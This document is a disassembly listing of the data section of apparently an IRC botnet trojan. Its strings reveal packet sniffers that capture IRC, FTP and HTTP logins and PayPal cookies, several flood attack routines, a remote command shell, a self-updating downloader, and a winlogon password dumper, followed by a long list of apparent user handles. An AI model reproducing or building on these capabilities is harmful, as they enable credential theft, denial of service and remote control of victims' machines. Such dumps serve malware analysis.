		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 10h
aHashin		db ':!hashin',0         ; DATA XREF: sub_412EAA+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412EAA+EEo
		align 4
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412EAA+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412EAA+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412EAA+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412EAA+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412EAA+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412EAA+84o
a366		db '366 ',0             ; DATA XREF: sub_412EAA+73o
		align 10h
a302_0		db '302 ',0             ; DATA XREF: sub_412EAA:loc_412F0Co
		align 4
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412EAA+4Do
		align 10h
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412EAA+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412EAA+2Bo
		align 4
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412EAA+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412FC1+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412FC1+51o
		align 4
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412FC1:loc_413001o
					; sub_413037+2Bo
		align 10h
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412FC1+2Bo
		align 4
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412FC1+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_413037+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_413037+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_413037:loc_413088o
		align 4
a220		db '220 ',0             ; DATA XREF: sub_413037+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_413037+5o
		align 10h
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_4130BE+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_4130BE+62o
		align 4
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_4130BE+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_4130BE:loc_4130FEo
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_4130BE+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_4130BE+5o
		align 10h
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_413145+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_413145:loc_413185o
		align 10h
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_413145+2Bo
		align 10h
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_413145+5o
		align 4
unk_436F5C	db  2Dh	; -		; DATA XREF: sub_4131AA+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436F94	db  2Dh	; -		; DATA XREF: sub_4131AA+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_436FCC	db  2Dh	; -		; DATA XREF: sub_4131AA+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437000	db  2Dh	; -		; DATA XREF: sub_4131AA+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437034	db  2Dh	; -		; DATA XREF: sub_4131AA+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_437068	db  2Dh	; -		; DATA XREF: sub_4131AA+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 4
unk_437098	db  2Dh	; -		; DATA XREF: sub_4131AA+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_4370EC	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_41364F+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_437314	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_4143AC+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_437704	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415C76+35o
dword_437718	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415C76+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415CEE+60o
		align 10h
dword_437750	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_415D8E:loc_415DC3o
dword_437764	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_415D8E+20o
dword_437778	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415EDDo
		dd 6574656Ch, 0
dword_437794	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:00415E40o
		dd 676E6974h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_437814	db  2Dh	; -		; DATA XREF: ___:00416274o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 4
dword_437838	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:004164D9o
					; ___:0041666Fo
		dd 726F72h
unk_437850	db  2Dh	; -		; DATA XREF: ___:00416471o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_43787C	db  2Dh	; -		; DATA XREF: ___:00416379o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 10h
dword_4378A0	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00416342o
		dd 74756Fh
dword_4378B8	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:004162E1o
		dd 169h
unk_4378D0	db  2Dh	; -		; DATA XREF: ___:0041629Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 10h
unk_4378F0	db  2Dh	; -		; DATA XREF: ___:004161F9o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_437914	db  2Dh	; -		; DATA XREF: ___:004161BBo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 4
unk_437938	db  2Dh	; -		; DATA XREF: ___:004166E8o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_437964	db  2Dh	; -		; DATA XREF: ___:004165E4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_437984	db  2Dh	; -		; DATA XREF: ___:004165C4o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 10h
aAB		db 'a+b',0              ; DATA XREF: ___:004165B0o
unk_4379B4	db  2Dh	; -		; DATA XREF: ___:0041659Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_4379E4	db  2Dh	; -		; DATA XREF: ___:00416BE7o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437A10	db  2Dh	; -		; DATA XREF: ___:00416BD9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_437A44	db  2Dh	; -		; DATA XREF: ___:00416B1Do
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 4
dword_437A88	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416AACo
		dd 25206465h, 73h
unk_437AA4	db  2Dh	; -		; DATA XREF: ___:00416A35o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437ADC	db  2Dh	; -		; DATA XREF: ___:004169B6o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_437B04	db  2Dh	; -		; DATA XREF: ___:0041692Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 10h
unk_437B30	db  2Dh	; -		; DATA XREF: ___:004168E9o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 4
unk_437B58	db  2Dh	; -		; DATA XREF: ___:004168D7o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 10h
unk_437B80	db  2Dh	; -		; DATA XREF: ___:004167CBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 4
aUnknown	db 'Unknown',0          ; DATA XREF: sub_416CFC:loc_416D3Fo
					; sub_4193FF+104o
aInvalid	db 'Invalid',0          ; DATA XREF: sub_416CFC:loc_416D39o
aDisk		db 'Disk',0             ; DATA XREF: sub_416CFC:loc_416D33o
		align 10h
aNetwork	db 'Network',0          ; DATA XREF: sub_416CFC:loc_416D2Do
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_416CFC:loc_416D27o
		align 10h
off_437BD0	dd offset word_4D4152	; DATA XREF: sub_416CFC:loc_416D21o
word_437BD4	dw 3Fh			; DATA XREF: sub_416CFC+1Fo
					; sub_41AF2B:loc_41B02Dr
		align 4
aFailed		db 'failed',0           ; DATA XREF: sub_416D8D:loc_416E65o
					; sub_416EA8+3Bo
		align 10h
aSkb		db '%sKB',0             ; DATA XREF: sub_416D8D+6Bo
		align 4
unk_437BE8	db  2Dh	; -		; DATA XREF: sub_416EA8+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_437C24	db  2Dh	; -		; DATA XREF: sub_416EA8+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416F7A:loc_416FBFo
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437CD0	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173E2o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_437D04	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173B5o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindWi	db 'unable to find winlogon pid',0
unk_437D30	db  2Dh	; -		; DATA XREF: sub_417269:loc_4173AEo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aUnableToFindTh	db 'unable to find the password in memory',0
		align 4
unk_437D68	db  2Dh	; -		; DATA XREF: sub_417269+117o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
		db  57h	; W
		db 69h,	6Eh, 4Ch
		db  6Fh	; o
		db 67h,	6Fh, 6Eh
		db  20h
		db 49h,	6Eh, 66h
		db  6Fh	; o
		db 72h,	6Dh, 61h
		db  74h	; t
		db 69h,	6Fh, 6Eh
		db  20h
		db 28h,	50h, 49h
		db  44h	; D
		db 20h,	25h, 64h
		db  29h	; )
		db 20h,	2Dh, 20h
		db    2
		db 44h,	6Fh, 6Dh
		db  61h	; a
		db 69h,	6Eh, 2
		db  3Ah	; :
		db 20h,	2 dup(5Ch)
		db  25h	; %
		db 53h,	2Ch, 20h
		db    2
		db 55h,	73h, 65h
		db  72h	; r
		db 2, 3Ah, 20h
aSNoPassword_	db '(%S/(no password)).',0
off_437DC4	dd offset byte_530055	; DATA XREF: sub_417269+DCo
		dd offset byte_520045
		dd offset dword_4F0044
		dd offset loc_41004A+3
		dd offset byte_4E0049
		dd 0
off_437DDC	dd offset byte_530055	; DATA XREF: sub_417269+CEo
		dd offset byte_520045
		dd offset loc_41004A+4
		dd offset byte_45004D
		align 10h
aRtlrundecodeun	db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_417269+9Ao
		align 4
aRtldestroyquer	db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_417269+8Do
		align 4
aRtlqueryproces	db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_417269+80o
aRtlcreatequery	db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_417269+73o
		align 4
aNtquerysystemi	db 'NtQuerySystemInformation',0 ; DATA XREF: sub_417269+68o
		align 10h
aNtdll_dll	db 'NTDLL.DLL',0        ; DATA XREF: sub_417269+55o
		align 4
aSedebugprivile	db 'SeDebugPrivilege',0 ; DATA XREF: sub_417269+40o
					; sub_417269+161o ...
		align 10h
unk_437EA0	db  2Dh	; -		; DATA XREF: sub_417269+35o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aOnlySupportedO	db 'only supported on winnt/win2k',0
		align 10h
aMsgina		db 'MSGINA',0           ; DATA XREF: sub_41743B+13Eo
		align 4
aNwgina		db 'NWGINA',0           ; DATA XREF: sub_41743B+123o
		align 10h
aWinlogon	db 'WINLOGON',0         ; DATA XREF: sub_41743B+AFo
		align 4
dword_437EEC	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_4178A1+70o
					; sub_417938+C7o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h
dword_437F3C	dd 234032Dh, 646E6966h,	73736170h, 202D0302h, 4C6E6957h
					; DATA XREF: sub_417938+E1o
		dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h
		dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah
		dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h
		dd 2929h
off_437F90	dd offset aQ		; DATA XREF: sub_417E35+5Cr
					; "q"
; ---------------------------------------------------------------------------
		inc	eax
		mov	eax, [ebx+0]
		mov	[ecx-394FFFBEh], dh
		inc	edx
		add	[esi+eax*8], ch
		inc	edx
		add	[ebx+ecx*4], bh
		inc	ebx
		add	ah, dl
		scasd
		inc	edx
		add	[eax-4FFFBD3Ah], al
		scasd
		inc	edx
		add	[eax], bl
		mov	dl, 42h
		add	[eax+380042C6h], cl
		mov	eax, [ebx+0]
		xor	al, 8Bh
		inc	ebx
		add	[eax], dh
		mov	eax, [ebx+0]
		sub	al, 8Bh
		inc	ebx
		add	[eax+680042B7h], al
		mov	bh, 42h
		add	[eax], ch
		mov	eax, [ebx+0]
		and	al, 8Bh
		inc	ebx
		add	[eax], ah
		mov	eax, [ebx+0]
		cld
		retf	42h
; ---------------------------------------------------------------------------
		dd offset aV		; "v"
		dd offset dword_438B1C
		dd offset aN		; "n"
		dd offset aM		; "m"
		dd offset dword_438B18
		dd offset dword_438B14
		dd offset dword_438B10
		dd offset dword_438B0C
		dd offset dword_438B08
		dd offset word_438B04
		dd offset dword_438B00
		dd offset aI_0		; "I"
		dd offset dword_438AFC
		dd offset dword_438AF8
		dd offset aA_0		; "A"
		dd offset dword_438AF4
		dd offset dword_438AF0
		dd offset dword_438AEC
		dd offset dword_438AE8
		dd offset dword_438AE4
		dd offset dword_438AE0
		dd offset dword_438ADC
		dd offset dword_438AD8
		dd offset dword_438AD4
		dd offset dword_438AD0
		dd offset dword_438ACC
		dd offset dword_438AC8
		dd offset dword_438AC4
		dd offset word_438AC0
		dd offset aM_0		; "M"
		dd offset aSmartmir	; "SMARTMIR"
		dd offset aFarooq	; "farooq"
		dd offset aMaxxguy	; "maxxguy"
		dd offset aBobmarley	; "BOBMARLEY"
		dd offset aEmilya	; "emilya"
		dd offset aKrizha	; "KRIZHA"
		dd offset aCar1nna	; "Car1nna"
		dd offset aSwin		; "swin"
		dd offset aMale		; "male"
		dd offset aKoko		; "koko"
		dd offset aFlexster	; "flexster"
		dd offset aKen		; "ken"
		dd offset aShez		; "Shez"
		dd offset aTalika	; "talika"
		dd offset aMarcy	; "marcy"
		dd offset aCme		; "cme"
		dd offset aHeval	; "heval"
		dd offset aBunty	; "bunty"
		dd offset aJanno	; "janno"
		dd offset aRimpy	; "rimpy"
		dd offset aNastysha	; "nastysha"
		dd offset aLuisa	; "Luisa"
		dd offset aTroller	; "troller"
		dd offset aManee	; "manee"
		dd offset aKermit	; "kermit"
		dd offset aPuregold	; "puregold"
		dd offset aCoredump	; "CoreDump"
		dd offset aImra		; "imra"
		dd offset aGirl		; "GirL"
		dd offset aCamel	; "CAMEL"
		dd offset aReshma	; "reshma"
		dd offset aKencing	; "Kencing"
		dd offset aThr45h3r5	; "THR45H3R5"
		dd offset aCansuuuu	; "cansuuuu"
		dd offset aKaan38dent	; "kaan38dent"
		dd offset aErkan27	; "erkan27"
		dd offset aHexaaa	; "hexaaa"
		dd offset aBerk19	; "berk19"
		dd offset aObenibisevse	; "OBeNiBiSeVSe"
		dd offset aIrmal	; "irmal"
		dd offset aMisssunday	; "misssunday"
		dd offset aTolga34	; "Tolga34"
		dd offset aJericho	; "JERICHO"
		dd offset aMary_0	; "MARY"
		dd offset aAkin		; "AKIN"
		dd offset aMelekk	; "melekk"
		dd offset aTrend3	; "trend3"
		dd offset aMERVE	; "M-E-R-V-E"
		dd offset aTekir	; "tekir"
		dd offset aVenedik34	; "venedik34"
		dd offset aSevmekmi	; "sevmekmi"
		dd offset aSudenur	; "SUDENUR"
		dd offset aArzu		; "ARZU"
		dd offset aHaticem	; "haticem"
		dd offset aErnesto	; "ERNESTO"
		dd offset aAslii	; "aslii"
		dd offset aPiramit	; "PIRAMIT"
		dd offset aSamyeli21	; "samyeli21"
		dd offset aRetg		; "RETG"
		dd offset aBlackpearl	; "blackpearl"
		dd offset aPelincik	; "pelincik"
		dd offset aAhmet	; "ahmet"
		dd offset aTurkyy	; "turkyy"
		dd offset aAnk32m	; "ank32m"
		dd offset aZack		; "ZACK"
		dd offset aIzmir39m	; "Izmir39m"
		dd offset aAlbina	; "albina"
		dd offset dword_438858
		dd offset off_438854
		dd offset aAnkh		; "ankh"
		dd offset aDonjuanm	; "Donjuanm"
		dd offset aBogac	; "bogac"
		dd offset aAlpay34m	; "alpay34m"
		dd offset aCongueror	; "CoNGuERoR"
		dd offset aDenizlim	; "DenizliM"
		dd offset aBerk19m	; "Berk19m"
		dd offset aDevran	; "devran"
		dd offset aArda		; "arda"
		dd offset aKeyiflisert	; "keyifliSERT"
		dd offset aMurat34M	; "murat34-m"
